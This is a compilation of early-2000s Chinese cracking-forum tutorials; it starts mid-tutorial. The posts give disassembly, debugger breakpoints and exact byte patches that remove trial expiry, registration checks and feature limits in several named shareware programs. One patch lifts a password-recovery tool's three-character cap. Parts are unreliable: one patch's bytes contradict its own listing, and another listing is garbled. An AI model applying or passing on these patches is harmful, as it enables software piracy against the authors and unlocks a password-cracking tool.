:00420A92 FFD6 call esi
:00420A94 8D955CFFFFFF lea edx, dword ptr [ebp+FFFFFF5C]
:00420A9A 8D4DCC lea ecx, dword ptr [ebp-34]
:00420A9D C78564FFFFFF28DE4100 mov dword ptr [ebp+FFFFFF64], 0041DE28
:00420AA7 899D5CFFFFFF mov dword ptr [ebp+FFFFFF5C], ebx
:00420AAD FFD6 call esi
:00420AAF 8D4D9C lea ecx, dword ptr [ebp-64]
:00420AB2 8D55AC lea edx, dword ptr [ebp-54]
:00420AB5 51 push ecx
:00420AB6 8D45BC lea eax, dword ptr [ebp-44]
:00420AB9 52 push edx
:00420ABA 50 push eax
:00420ABB 8D4DCC lea ecx, dword ptr [ebp-34]
:00420ABE 6A10 push 00000010
:00420AC0 51 push ecx

* Reference To: MSVBVM60.rtcMsgBox, Ord:0253h <---------这里是过期对话框，
所以往上看。
|
:00420AC1 FF1560104000 Call dword ptr [00401060]
:00420AC7 8D559C lea edx, dword ptr [ebp-64]
:00420ACA 8D45AC lea eax, dword ptr [ebp-54]
:00420ACD 52 push edx
:00420ACE 8D4DBC lea ecx, dword ptr [ebp-44]
:00420AD1 50 push eax
:00420AD2 8D55CC lea edx, dword ptr [ebp-34]
:00420AD5 51 push ecx
:00420AD6 52 push edx
:00420AD7 6A04 push 00000004

5.用Hiew将00420A52处的0F8495000000改为EB8495000000，运行程序，Why?
程序出错，？？有CRC？，No，因为我脱壳后运行都没有出错啊，所以判断是
:00420A4F 663BDF cmp bx, di
这里的标志位应该影响了以后的运行，所以，呵呵，改为cmp di,di，哈哈，
搞定。

总结：只要将00420A4F处的663BDF改为663BFF，就将可以了，再不用担心过期了。


网页特效小精灵 2.0

 标 题:申请加入BCG第三篇：破解网页特效小精灵2.0 (5千字)
发信人:pzero
时 间:2001-10-7 11:16:25
详细信息:
这是我申请加入BCG的第三篇破文，本来想写破小李注册表的，因为这个程序很容易，但前面已经讨论过了，现在写有抄袭的嫌疑，于是跑到华军去找，当然要版本低一点的啦，好破嘛，还要个头小，我用的是Modem啊，终于给我逮到了这个小精灵，呵呵
软件名称：网页特效小精灵
整理日期：2001.10.6
最新版本：2.0
文件大小：277KB
软件授权：共享软件
使用平台：Win9x/Me/NT/2000
软件简介：
    “网页特效小精灵”作者的“小精灵”系列软件中的一个，是一款小巧的网页特效增强软件增强，提供了240多种特效，使用简单，界面优美。正式版提供了260种特效，并可无限增加新的特效，若与作者的另一软件“抓色小精灵”配合使用效果更好。
这也是一个试用版软件，功能上并无限制，只是时间上有限制（两个月：2001年10月－12月），注册后作者将寄正式版。
目的：去除其时间限制，使得2002年以后也能使用。
工具：Trw2000 v1.22、UEdit32、fi、unpecompact 1.31。
先用fi查看exe程序，是pecompat的壳，我又不会手动脱，只好找来unpecompat试试，死马当活马医嘛，一脱果然脱掉了。把系统日期调到2002年，运行程序，就会崩出一个框，说什么什么过期之类的话，程序不能运行。大概了解了一下程序之后，开始干活了：
运行Trw2000，找到“小精灵”的exe程序，用Trw2000 load
bpx getlocaltime 下读取系统时间断点
F5 返回程序，很快就会被Trw2000断下来，部分代码如下：

……
:004209A2 FFD3 call ebx
:004209A4 8D45CC lea eax, dword ptr [ebp-34]
:004209A7 8D4DBC lea ecx, dword ptr [ebp-44]
:004209AA 50 push eax
:004209AB 51 push ecx

* Reference To: MSVBVM60.rtcGetYear, Ord:0229h
|
:004209AC FF1540104000 Call dword ptr [00401040]
:004209B2 8D559C lea edx, dword ptr [ebp-64]
:004209B5 C78564FFFFFFD2070000 mov dword ptr [ebp+FFFFFF64], 000007D2
:004209BF 52 push edx
:004209C0 C7855CFFFFFF02800000 mov dword ptr [ebp+FFFFFF5C], 00008002
:004209CA FFD3 call ebx
:004209CC 8D459C lea eax, dword ptr [ebp-64]
:004209CF 8D4D8C lea ecx, dword ptr [ebp-74]
:004209D2 50 push eax
:004209D3 51 push ecx

* Reference To: MSVBVM60.rtcGetMonthOfYear, Ord:0221h
|
:004209D4 FF1550114000 Call dword ptr [00401150]
:004209DA 8D55BC lea edx, dword ptr [ebp-44]
:004209DD 8D855CFFFFFF lea eax, dword ptr [ebp+FFFFFF5C]
:004209E3 52 push edx
:004209E4 8D4DAC lea ecx, dword ptr [ebp-54]
:004209E7 50 push eax
:004209E8 51 push ecx
:004209E9 C78554FFFFFF0A000000 mov dword ptr [ebp+FFFFFF54], 0000000A
:004209F3 C7854CFFFFFF02800000 mov dword ptr [ebp+FFFFFF4C], 00008002

* Reference To: MSVBVM60.__vbaVarCmpEq, Ord:0000h
|
:004209FD FF152C114000 Call dword ptr [0040112C]
:00420A03 50 push eax
:00420A04 8D558C lea edx, dword ptr [ebp-74]
:00420A07 8D854CFFFFFF lea eax, dword ptr [ebp+FFFFFF4C]
:00420A0D 52 push edx
:00420A0E 8D8D7CFFFFFF lea ecx, dword ptr [ebp+FFFFFF7C]
:00420A14 50 push eax
:00420A15 51 push ecx

* Reference To: MSVBVM60.__vbaVarCmpLt, Ord:0000h
|
:00420A16 FF1518114000 Call dword ptr [00401118]
:00420A1C 8D956CFFFFFF lea edx, dword ptr [ebp+FFFFFF6C]
:00420A22 50 push eax
:00420A23 52 push edx

* Reference To: MSVBVM60.__vbaVarOr, Ord:0000h
|
:00420A24 FF159C104000 Call dword ptr [0040109C]
:00420A2A 50 push eax

* Reference To: MSVBVM60.__vbaBoolVarNull, Ord:0000h
|
:00420A2B FF1578104000 Call dword ptr [00401078]
:00420A31 668BD8 mov bx, ax
:00420A34 8D458C lea eax, dword ptr [ebp-74]
:00420A37 8D4D9C lea ecx, dword ptr [ebp-64]
:00420A3A 50 push eax
:00420A3B 8D55BC lea edx, dword ptr [ebp-44]
:00420A3E 51 push ecx
:00420A3F 8D45CC lea eax, dword ptr [ebp-34]
:00420A42 52 push edx
:00420A43 50 push eax
:00420A44 6A04 push 00000004

* Reference To: MSVBVM60.__vbaFreeVarList, Ord:0000h
|
:00420A46 FF151C104000 Call dword ptr [0040101C]
:00420A4C 83C414 add esp, 00000014
:00420A4F 663BDF cmp bx, di ;（**）比较判断
:00420A52 0F8495000000 je 00420AED ;不跳则死
* Reference To: MSVBVM60.__vbaVarDup, Ord:0000h
|
:00420A58 8B3534114000 mov esi, dword ptr [00401134]
:00420A5E B90A000000 mov ecx, 0000000A
:00420A63 B804000280 mov eax, 80020004
……
大家看到了吧，程序启动时首先读取系统日期（年和月），然后进行判断，如果超出了日期就拒绝执行，（**)处就是比较的地方，等就跳，则活，不跳就判处死刑，到这里大家都知道该怎么做了吧，（少废话，动手啊！我们大家一起来跳……舞），用UEedit32打开原exe程序，查找83C414663BDF，将其后面的6个字节改为E99600000090，再把系统日期调到2003年，运行程序，YES!!!我成功了！


网页特效小精灵 V2.0

 标 题:申请加入BCG第二篇：破解网页特效小精灵 V2.0时间限制。 (2千字)
发信人:波导终结者
时 间:2001-10-6 14:46:05
详细信息:
这个东西从天空软件站拉下来的，因为没处注册，所以只能改代码。
首先用FI查看，是PECompact加的壳，自动脱壳成功。（在此感谢柯南兄，因为这个东西没脱壳时用Exescope能正常查看，我以为是没加壳的，搞了半天才知道）
把时间调到过期，出现出错信息。用W32DASM查找，无果。
只能用TRW跟踪。
因为程序有时间限制，所以下断点bpx getlocaltime，g，嘿嘿拦住了。一看领空，啊,KAV9X，妈呀，怎么把我的金山毒霸给拦住了？把金山关了，再拦，拦住了，找不到切入点。
因为程序会弹出一个框告诉你过期，所以下断点messageboxindirect，拦住了。
015F:00420A4C 83C414 ADD ESP,BYTE +14
015F:00420A4F 663BDF CMP BX,DI
015F:00420A52 0F8495000000 JZ NEAR 00420AED 就是这里了，不跳就过期，所以改成JMP 00420AED
015F:00420A58 8B3534114000 MOV ESI,[00401134]
015F:00420A5E B90A000000 MOV ECX,0A
015F:00420A63 B804000280 MOV EAX,80020004
015F:00420A68 894D9C MOV [EBP-64],ECX
015F:00420A6B 894DAC MOV [EBP-54],ECX
015F:00420A6E BB08000000 MOV EBX,08
015F:00420A73 8D954CFFFFFF LEA EDX,[EBP+FFFFFF4C]
015F:00420A79 8D4DBC LEA ECX,[EBP-44]
015F:00420A7C 8945A4 MOV [EBP-5C],EAX
015F:00420A7F 8945B4 MOV [EBP-4C],EAX
015F:00420A82 C78554FFFFFF68DE+MOV DWORD [EBP+FFFFFF54],0041DE68
015F:00420A8C 899D4CFFFFFF MOV [EBP+FFFFFF4C],EBX
015F:00420A92 FFD6 CALL ESI
015F:00420A94 8D955CFFFFFF LEA EDX,[EBP+FFFFFF5C]
015F:00420A9A 8D4DCC LEA ECX,[EBP-34]
015F:00420A9D C78564FFFFFF28DE+MOV DWORD [EBP+FFFFFF64],0041DE28
015F:00420AA7 899D5CFFFFFF MOV [EBP+FFFFFF5C],EBX
015F:00420AAD FFD6 CALL ESI
015F:00420AAF 8D4D9C LEA ECX,[EBP-64]
015F:00420AB2 8D55AC LEA EDX,[EBP-54]
015F:00420AB5 51 PUSH ECX
015F:00420AB6 8D45BC LEA EAX,[EBP-44]
015F:00420AB9 52 PUSH EDX
015F:00420ABA 50 PUSH EAX
015F:00420ABB 8D4DCC LEA ECX,[EBP-34]
015F:00420ABE 6A10 PUSH BYTE +10
015F:00420AC0 51 PUSH ECX
015F:00420AC1 FF1560104000 CALL `MSVBVM60!rtcMsgBox` pmodule以后，程序停在下一行，说明就是这一行叫出过期提示框的，往上看，看看有什么地方可以跳过这里
用十六进制编辑器打开脱壳后的程序，把0F8498000000
改成E99600000000
至于为什么要这样改我也不知道，感谢crack007和ccak的帮助！
测试：把时间调到2002年，也能用了，破解成功。


文件整容专家 3.0

 标 题:班门弄斧之暴破文件整容专家 3.0 (6千字)
发信人:eCool
时 间:2001-10-9 2:22:20
详细信息:
文件整容专家 3.0 暴破过程（转载请保存原文完整）
初次写破解文章，难免有不足之处，望多多包涵。
软件功能： *改变文件夹的图标
*加上悬挂式说明文字
*在打开文件夹时显示消息,或要求输入密码
*一进入文件夹直接跳转到某个网址
*添加文件夹窗口的背景音乐、背景图片
*在文件夹窗口里加入文字、字屏、超级链接、水平线、图片、动画等
*改掉关于文件属性说明的文字
*设定文件列表的前景色、背景色、背景图片
*在桌面、“发送到”菜单等处自动生成该文件夹的快捷方式
功能限制：说是30天试用，好像没有时间限制。
文章作者：eCool
破解时间：2001/10/10

暴破过程：
本来用SmartCheck破解，已经找出注册码，下面用十六进制表示：
32 E4 02 00 37 E4 02 00 39 E4 02 00 35 E4 02 00 3D E4 00
可惜我不知道为什么怎么输入ASCII码为02的字符，所以无法注册，没有办法，只好暴破了。
（注册码找错否？望高手指点）
运行软件，输入假注册码123456，用bpx msvbvm50!__vbastrcmp 设断，结果拦下：
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004328C3(C)
|
:004328D6 8D45B0 lea eax, dword ptr [ebp-50]
:004328D9 50 push eax
:004328DA 8D45C0 lea eax, dword ptr [ebp-40]
:004328DD 50 push eax
:004328DE E88E4DFFFF call 00427671
:004328E3 8BD0 mov edx, eax
:004328E5 8D4DDC lea ecx, dword ptr [ebp-24]

* Reference To: MSVBVM50.__vbaStrMove, Ord:0000h
|
:004328E8 E897F2FCFF Call 00401B84
:004328ED 50 push eax <--这里是真注册码
:004328EE FF75E0 push [ebp-20] <--输入的假注册码

* Reference To: MSVBVM50.__vbaStrCmp, Ord:0000h
|
:004328F1 E80AF2FCFF Call 00401B00
:004328F6 8BF0 mov esi, eax
:004328F8 8D45E0 lea eax, dword ptr [ebp-20]
:004328FB F7DE neg esi
:004328FD 50 push eax
:004328FE 8D45DC lea eax, dword ptr [ebp-24]
:00432901 1BF6 sbb esi, esi
:00432903 50 push eax
:00432904 46 inc esi
:00432905 6A02 push 00000002
:00432907 F7DE neg esi

* Reference To: MSVBVM50.__vbaFreeStrList, Ord:0000h
|
:00432909 E816F2FCFF Call 00401B24
:0043290E 83C40C add esp, 0000000C
:00432911 8D45D0 lea eax, dword ptr [ebp-30]
:00432914 50 push eax
:00432915 8D45D4 lea eax, dword ptr [ebp-2C]
:00432918 50 push eax
:00432919 8D45D8 lea eax, dword ptr [ebp-28]
:0043291C 50 push eax
:0043291D 6A03 push 00000003

* Reference To: MSVBVM50.__vbaFreeObjList, Ord:0000h
|
:0043291F E83CF2FCFF Call 00401B60
:00432924 83C410 add esp, 00000010
:00432927 8D45B0 lea eax, dword ptr [ebp-50]
:0043292A 50 push eax
:0043292B 8D45C0 lea eax, dword ptr [ebp-40]
:0043292E 50 push eax
:0043292F 6A02 push 00000002

* Reference To: MSVBVM50.__vbaFreeVarList, Ord:0000h
|
:00432931 E85AF2FCFF Call 00401B90
:00432936 83C40C add esp, 0000000C
:00432939 B904000280 mov ecx, 80020004
:0043293E 663BF3 cmp si, bx
:00432941 894D98 mov dword ptr [ebp-68], ecx
:00432944 6A0A push 0000000A
:00432946 894DA8 mov dword ptr [ebp-58], ecx
:00432949 58 pop eax
:0043294A 894DB8 mov dword ptr [ebp-48], ecx
:0043294D 894590 mov dword ptr [ebp-70], eax
:00432950 8945A0 mov dword ptr [ebp-60], eax
:00432953 8945B0 mov dword ptr [ebp-50], eax
:00432956 0F8475010000 je 00432AD1 <-----关键跳跃，要跳。改为jmp 00432AD1
:0043295C 8D5580 lea edx, dword ptr [ebp-80]
:0043295F 8D4DC0 lea ecx, dword ptr [ebp-40]

* Possible StringData Ref from Code Obj ->"鑜孮b烺�a"尐`剉鑜孮0"
|
:00432962 C745882C034100 mov [ebp-78], 0041032C
:00432969 897D80 mov dword ptr [ebp-80], edi

* Reference To: MSVBVM50.__vbaVarDup, Ord:0000h
|
:0043296C E825F2FCFF Call 00401B96
:00432971 8D4590 lea eax, dword ptr [ebp-70]
:00432974 50 push eax
:00432975 8D45A0 lea eax, dword ptr [ebp-60]
:00432978 50 push eax
:00432979 8D45B0 lea eax, dword ptr [ebp-50]
:0043297C 50 push eax
:0043297D 8D45C0 lea eax, dword ptr [ebp-40]
:00432980 53 push ebx
:00432981 50 push eax

* Reference To: MSVBVM50.rtcMsgBox, Ord:0253h
|
:00432982 E815F2FCFF Call 00401B9C
:00432987 8D4590 lea eax, dword ptr [ebp-70]
:0043298A 50 push eax
:0043298B 8D45A0 lea eax, dword ptr [ebp-60]
:0043298E 50 push eax
:0043298F 8D45B0 lea eax, dword ptr [ebp-50]
:00432992 50 push eax
:00432993 8D45C0 lea eax, dword ptr [ebp-40]
:00432996 50 push eax
:00432997 6A04 push 00000004

可惜用Hiew修改后依然提示没有注册，所以程序运行有判断是否注册的代码，好
先用bpx msvbvm50!__vbastrcmp，运行程序，被拦下，按F5，再次被拦下：
* Reference To: MSVBVM50.__vbaStrMove, Ord:0000h
|
:00418CD8 E8A78EFEFF Call 00401B84
:00418CDD FF75E0 push [ebp-20] <----真注册码
:00418CE0 FF75D8 push [ebp-28] <----假的，不过是1111

* Reference To: MSVBVM50.__vbaStrCmp, Ord:0000h
|
:00418CE3 E8188EFEFF Call 00401B00
:00418CE8 85C0 test eax, eax
:00418CEA 0F85A1020000 jne 00418F91 <----关键跳跃，不跳，否则Over。把它Nop掉
:00418CF0 FF7508 push [ebp+08]
:00418CF3 8BB5BCFEFFFF mov esi, dword ptr [ebp+FFFFFEBC]
:00418CF9 66830D38304300FF or word ptr [00433038], FFFF
:00418D01 FF96FC020000 call dword ptr [esi+000002FC]
:00418D07 50 push eax
:00418D08 8D45B8 lea eax, dword ptr [ebp-48]
:00418D0B 50 push eax

用Hiew修改，重新运行，提示已经注册，而且没有注册按钮了。
总结：只要改00418CF0处的FF7508改为909090就可以了，好困啊，睡觉去喽。


Accent Access Password Recovery

 标 题:飞鹰大老请进 (11千字)
发信人:aa[CNCG]
时 间:2002-2-28 17:54:04
详细信息:
软件名称：Accent Access Password Recovery
软件用途：解 office access 密码
下载：白菜乐园
首先感谢：白菜、飞鹰、看雪、Liutaotao
工具：TRW2000 W32dsm89，Hew
我本来要试一试解《起名向导》，在《起》的目录下有一*.mdb文件要密码就down下了Accent Access Password Recovery发现为注册版本只能解3位密码,飞鹰大老的破解版在我这不能用,只好自己动手.
1.用procdump32脱壳,不能运行;
2.用TRW2000手动脱壳;
3.用W32dsm89分析:

:00401EE8 55 push ebp
:00401EE9 89E5 mov ebp, esp
:00401EEB 81ECAC020000 sub esp, 000002AC
:00401EF1 57 push edi
:00401EF2 56 push esi
:00401EF3 53 push ebx
:00401EF4 8B7508 mov esi, dword ptr [ebp+08]
:00401EF7 C705ACBD400000000000 mov dword ptr [0040BDAC], 00000000<--注册标志 1--注册;0--为注册

mov dword ptr [0040BDAC], 00000001<--改

:00401F01 BA09000000 mov edx, 00000009
:00401F06 8D9D80FEFFFF lea ebx, dword ptr [ebp+FFFFFE80]
:00401F0C 8DBD00FEFFFF lea edi, dword ptr [ebp+FFFFFE00]
:00401F12 8D8580FDFFFF lea eax, dword ptr [ebp+FFFFFD80]
:00401F18 898574FDFFFF mov dword ptr [ebp+FFFFFD74], eax
:00401F1E 8D4580 lea eax, dword ptr [ebp-80]
:00401F21 898578FDFFFF mov dword ptr [ebp+FFFFFD78], eax
:00401F27 8D8500FFFFFF lea eax, dword ptr [ebp+FFFFFF00]
:00401F2D 898570FDFFFF mov dword ptr [ebp+FFFFFD70], eax
:00401F33 89D9 mov ecx, ebx

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401F3F(C)
|
:00401F35 8A0432 mov al, byte ptr [edx+esi]
:00401F38 8801 mov byte ptr [ecx], al
:00401F3A 41 inc ecx
:00401F3B 42 inc edx
:00401F3C 83FA0B cmp edx, 0000000B
:00401F3F 7EF4 jle 00401F35
:00401F41 83C4F4 add esp, FFFFFFF4

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401EDD(C)
|
:00401F44 53 push ebx

* Reference To: CRTDLL.atoi, Ord:0000h
|
:00401F45 E886160000 Call 004035D0
:00401F4A 89C3 mov ebx, eax
:00401F4C 83C410 add esp, 00000010
:00401F4F C78500FEFFFF01234567 mov dword ptr [ebp+FFFFFE00], 67452301
:00401F59 C78504FEFFFF89ABCDEF mov dword ptr [ebp+FFFFFE04], EFCDAB89
:00401F63 C78508FEFFFFFEDCBA98 mov dword ptr [ebp+FFFFFE08], 98BADCFE
:00401F6D C7850CFEFFFF76543210 mov dword ptr [ebp+FFFFFE0C], 10325476
:00401F77 C78510FEFFFF10010000 mov dword ptr [ebp+FFFFFE10], 00000110
:00401F81 C78514FEFFFF00000000 mov dword ptr [ebp+FFFFFE14], 00000000
:00401F8B 83C4FC add esp, FFFFFFFC
:00401F8E 6A22 push 00000022
:00401F90 56 push esi
:00401F91 8D4718 lea eax, dword ptr [edi+18]
:00401F94 50 push eax
:00401F95 E81E120000 call 004031B8
:00401F9A 83C410 add esp, 00000010
:00401F9D 83C4F8 add esp, FFFFFFF8
:00401FA0 8D8500FEFFFF lea eax, dword ptr [ebp+FFFFFE00]
:00401FA6 50 push eax
:00401FA7 8BBD74FDFFFF mov edi, dword ptr [ebp+FFFFFD74]
:00401FAD 57 push edi
:00401FAE E8FDF1FFFF call 004011B0
:00401FB3 C705ACBD400001000000 mov dword ptr [0040BDAC], 00000001<--注册标志 1--注册;0--为注册
:00401FBD 31D2 xor edx, edx
:00401FBF 8BB578FDFFFF mov esi, dword ptr [ebp+FFFFFD78]
:00401FC5 4B dec ebx
:00401FC6 C1E304 shl ebx, 04
:00401FC9 8B8570FDFFFF mov eax, dword ptr [ebp+FFFFFD70]
:00401FCF 89857CFDFFFF mov dword ptr [ebp+FFFFFD7C], eax
:00401FD5 31C9 xor ecx, ecx
:00401FD7 89BD6CFDFFFF mov dword ptr [ebp+FFFFFD6C], edi
:00401FDD 8D7600 lea esi, dword ptr [esi+00]

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00402020(C)
|
:00401FE0 8D041A lea eax, dword ptr [edx+ebx]
:00401FE3 8B048548404000 mov eax, dword ptr [4*eax+00404048]
:00401FEA 89040E mov dword ptr [esi+ecx], eax
:00401FED 8BBD6CFDFFFF mov edi, dword ptr [ebp+FFFFFD6C]
:00401FF3 0FB6043A movzx eax, byte ptr [edx+edi]
:00401FF7 8BBD7CFDFFFF mov edi, dword ptr [ebp+FFFFFD7C]
:00401FFD 89040F mov dword ptr [edi+ecx], eax
:00402000 39040E cmp dword ptr [esi+ecx], eax
:00402003 7414 je 00402019
:00402005 C705ACBD400000000000 mov dword ptr [0040BDAC], 00000000<--注册标志 1--注册;0--为注册

mov dword ptr [0040BDAC], 00000001<--改

:0040200F B940000000 mov ecx, 00000040
:00402014 BA10000000 mov edx, 00000010

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00402003(C)
|
:00402019 83C104 add ecx, 00000004
:0040201C 42 inc edx
:0040201D 83FA0F cmp edx, 0000000F
:00402020 7EBE jle 00401FE0
:00402022 A1ACBD4000 mov eax, dword ptr [0040BDAC]
:00402027 8DA548FDFFFF lea esp, dword ptr [ebp+FFFFFD48]
:0040202D 5B pop ebx
:0040202E 5E pop esi
:0040202F 5F pop edi
:00402030 C9 leave
:00402031 C3 ret
一切OK!!

后来又发现另外一种改法:
* Possible StringData Ref from Data Obj ->"File name: %s
Type of document: "
->"MS Access %s
Length of password: "
->"%i
Password: "
|
:00402760 6850234000 push 00402350
:00402765 8B550C mov edx, dword ptr [ebp+0C]
:00402768 52 push edx

* Reference To: CRTDLL.sprintf, Ord:0000h
|
:00402769 E8220E0000 Call 00403590
:0040276E 89F7 mov edi, esi
:00402770 B000 mov al, 00
:00402772 FC cld
:00402773 B9FFFFFFFF mov ecx, FFFFFFFF
:00402778 F2 repnz
:00402779 AE scasb
:0040277A 83C430 add esp, 00000030
:0040277D 83F9FE cmp ecx, FFFFFFFE
:00402780 0F84CB000000 je 00402851 <--去,没有秘码
:00402786 83C4F8 add esp, FFFFFFF8
:00402789 89F7 mov edi, esi
:0040278B FC cld
:0040278C B9FFFFFFFF mov ecx, FFFFFFFF
:00402791 F2 repnz
:00402792 AE scasb
:00402793 F7D1 not ecx
:00402795 8D41FF lea eax, dword ptr [ecx-01]
:00402798 50 push eax
:00402799 6A42 push 00000042

* Reference To: KERNEL32.LocalAlloc, Ord:0000h
|
:0040279B E8880F0000 Call 00403728
:004027A0 89C3 mov ebx, eax
:004027A2 83C4FC add esp, FFFFFFFC
:004027A5 53 push ebx

* Reference To: KERNEL32.GlobalLock, Ord:0000h
|
:004027A6 E8850F0000 Call 00403730
:004027AB 83C4F4 add esp, FFFFFFF4
:004027AE 56 push esi
:004027AF 50 push eax

* Reference To: CRTDLL.strcpy, Ord:0000h
|
:004027B0 E8230E0000 Call 004035D8
:004027B5 83C420 add esp, 00000020
:004027B8 83C4F4 add esp, FFFFFFF4
:004027BB 53 push ebx

* Reference To: KERNEL32.GlobalUnlock, Ord:0000h
|
:004027BC E8770F0000 Call 00403738
:004027C1 FF3580C04000 push dword ptr [0040C080]

* Reference To: USER32.OpenClipboard, Ord:0000h
|
:004027C7 E8040F0000 Call 004036D0
:004027CC 83C4FC add esp, FFFFFFFC

* Reference To: USER32.EmptyClipboard, Ord:0000h
|
:004027CF E8040F0000 Call 004036D8
:004027D4 83C4F8 add esp, FFFFFFF8
:004027D7 53 push ebx
:004027D8 6A01 push 00000001

* Reference To: USER32.SetClipboardData, Ord:0000h
|
:004027DA E8010F0000 Call 004036E0
:004027DF 83C4F8 add esp, FFFFFFF8

* Reference To: USER32.CloseClipboard, Ord:0000h
|
:004027E2 E8010F0000 Call 004036E8
:004027E7 83C420 add esp, 00000020
:004027EA 833DACBD400000 cmp dword ptr [0040BDAC], 00000000 <--是否为注册版?
:004027F1 740D je 00402800 <--否!!!!!!!!!!
:004027F3 83C4F8 add esp, FFFFFFF8
:004027F6 56 push esi
:004027F7 8B550C mov edx, dword ptr [ebp+0C]
:004027FA 52 push edx
:004027FB EB60 jmp 0040285D
:004027FD 8D7600 lea esi, dword ptr [esi+00]

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004027F1(C)
|
:00402800 89F7 mov edi, esi
:00402802 B000 mov al, 00
:00402804 FC cld
:00402805 B9FFFFFFFF mov ecx, FFFFFFFF
:0040280A F2 repnz
:0040280B AE scasb
:0040280C F7D1 not ecx
:0040280E 8D41FF lea eax, dword ptr [ecx-01]
:00402811 83F803 cmp eax, 00000003 <--密码个数是否大于3个
cmp eax, 00000033<-----改为你想要得个数
:00402814 770A ja 00402820 <--大于3个不予显示
:00402816 83C4F8 add esp, FFFFFFF8
:00402819 56 push esi
:0040281A 8B550C mov edx, dword ptr [ebp+0C]
:0040281D 52 push edx
:0040281E EB3D jmp 0040285D

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00402814(C)
|
:00402820 83C4F4 add esp, FFFFFFF4
:00402823 FF3580C04000 push dword ptr [0040C080]

* Reference To: USER32.OpenClipboard, Ord:0000h
|
:00402829 E8A20E0000 Call 004036D0
:0040282E 83C4FC add esp, FFFFFFFC

* Reference To: USER32.EmptyClipboard, Ord:0000h
|
:00402831 E8A20E0000 Call 004036D8

* Reference To: USER32.CloseClipboard, Ord:0000h
|
:00402836 E8AD0E0000 Call 004036E8
:0040283B 83C4F8 add esp, FFFFFFF8

* Possible StringData Ref from Data Obj ->"unregistered version of A2PR can't "
->"show the passwords with length "
->"more than 3 symbols"
|
:0040283E 68B0234000 push 004023B0
:00402843 8B4D0C mov ecx, dword ptr [ebp+0C]
:00402846 51 push ecx

* Reference To: CRTDLL.strcat, Ord:0000h
|
:00402847 E83C0D0000 Call 00403588
:0040284C 83C420 add esp, 00000020
:0040284F EB14 jmp 00402865

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00402780(C)
|
:00402851 83C4F8 add esp, FFFFFFF8

* Possible StringData Ref from Data Obj ->"this file not passworded"
|
:00402854 6806244000 push 00402406
:00402859 8B450C mov eax, dword ptr [ebp+0C]
:0040285C 50 push eax


Access Folder v1.2

 标 题:申请加入BCG第一篇: 再破 Access Folder v1.2 (4千字)
发信人:braxis
时 间:2001-10-13 20:09:20
详细信息:
软件简介：Access Folders是一个“打开/保存”对话框专用的切换目录工具，只要用鼠标在视窗右上角的？
图标上按下鼠标右键，便可以打开自定的目录列表，迅速切换到想要的目录，不需再用鼠标慢慢的切换。

url: http://dl1.51soft.com:8080/soft/105/afolders12.zip

下载后发现EVC这个破解版最大只能添加5个文件夹，
再破如下........

* Referenced by a (U)nconditional or (C)onditional Jump at Address:

|:00402A06(C)

|

:004 02A3F cmp eb x, 000 00004 <===== 比较

:00402A42 891DD0B64200 mov dword ptr [0042B6D0], ebx

:00402A48 7E13 jle 00402A5D

:00402A4A 833DD8B6420002 cmp dword ptr [0042B6D8], 00000002

:00402A51 740A je 00402A5D

:00402A53 C705D0B6420005000000 mov dword ptr [0042B6D0], 00000005

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:

|:004029D1(C), :00402A3D(U), :00402A48(C), :00402A51(C)

|

:00402A5D 55 push ebp

:00402A5E E8BB190000 call 0040441E

:00402A63 8B442414 mov eax, dword ptr [esp+14]

* Referenced by a (U)nconditional or (C)onditional Jump at Address:

|:004024BE(C)

|

:00402552 8B8424C8020000 mov eax, dword ptr [esp+000002C8]

:00402559 8BD0 mov edx, eax

:0040255B C1EA10 shr edx, 10

:0040255E 0F85B0020000 jne 00402814

:00402564 25FFFF0000 and eax, 0000FFFF

:00402569 2DE9030000 sub eax, 000003E9

:0040256E 0F8466010000 je 004026DA

:00402574 48 dec eax

:00402575 0F8599020000 jne 00402814

:0040257B 833DD8B6420002 cmp dword ptr [0042B6D8], 00000002

:00402582 0F849B000000 je 00402623

:004 02588 833DD0 B64200 04 cmp dw ord pt r [004 2B6D0] , 0000 0004 <===== 比较

:0040258F 0F8E8E000000 jle 00402623 <==== 不跳死

:00402595 8BB424C0020000 mov esi, dword ptr [esp+000002C0]

:0040259C 6A34 push 00000034

:0040259E 68B4A24000 push 0040A2B4

:004025A3 6838A24000 push 0040A238

:004025A8 56 push esi

:004025A9 FF1568814000 call dword ptr [00408168]

:004025AF 83F806 cmp eax, 00000006

:004025B2 0F855C020000 jne 00402814

:004025B8 8B0D08B64200 mov ecx, dword ptr [0042B608]

:004025BE 8D8424B4000000 lea eax, dword ptr [esp+000000B4]

:004025C5 6804010000 push 00000104

:004025CA 50 push eax

:004025CB 51 push ecx

:004025CC FF1514814000 call dword ptr [00408114]

:004025D2 8D9424B4000000 lea edx, dword ptr [esp+000000B4]

:004025D9 6820A14000 push 0040A120

:004025DE 52 push edx

:004025DF E82A1D0000 call 0040430E

:004025E4 50 push eax

:004025E5 8D8424C0000000 lea eax, dword ptr [esp+000000C0]

:004025EC 6818A14000 push 0040A118

:004025F1 50 push eax

:004025F2 FF1574814000 call dword ptr [00408174]

:004025F8 83C414 add esp, 00000014

:004025FB 8D8C24B4000000 lea ecx, dword ptr [esp+000000B4]

:00402602 68D1070000 push 000007D1

* Po ssible Ref t o Menu : Menu ID_001 4, Ite m: ""

|

:00402607 6A01 push 0000000

=====================================================================

402A3F 83FB04 ----> 83FB44
402588 833DD0B6420004 ----> 833DD0B6420044

完成.


IMAGEOPTIMIZER

 标 题:IMAGEOPTIMIZER.exe (8千字)
发信人:abcde-12345
时 间:2001-11-5 18:53:46
详细信息:
IMAGEOPTIMIZER.exe 一个号称可以优化网页上图片大小的软件,我不会用
:004011CA A1F8B05200 mov eax, dword ptr [0052B0F8] <--KEY
:004011CF 33DB xor ebx, ebx
:004011D1 3BC3 cmp eax, ebx
:004011D3 899C24A8000000 mov dword ptr [esp+000000A8], ebx
:004011DA 7439 je 00401215 <--NO jmp 则为DEMO
:004011DC 8D4C2410 lea ecx, dword ptr [esp+10]

* Possible Reference to String Resource ID=40030: "This is a commercial demo of Image Optimizer Professional."
|
:004011E0 685E9C0000 push 00009C5E
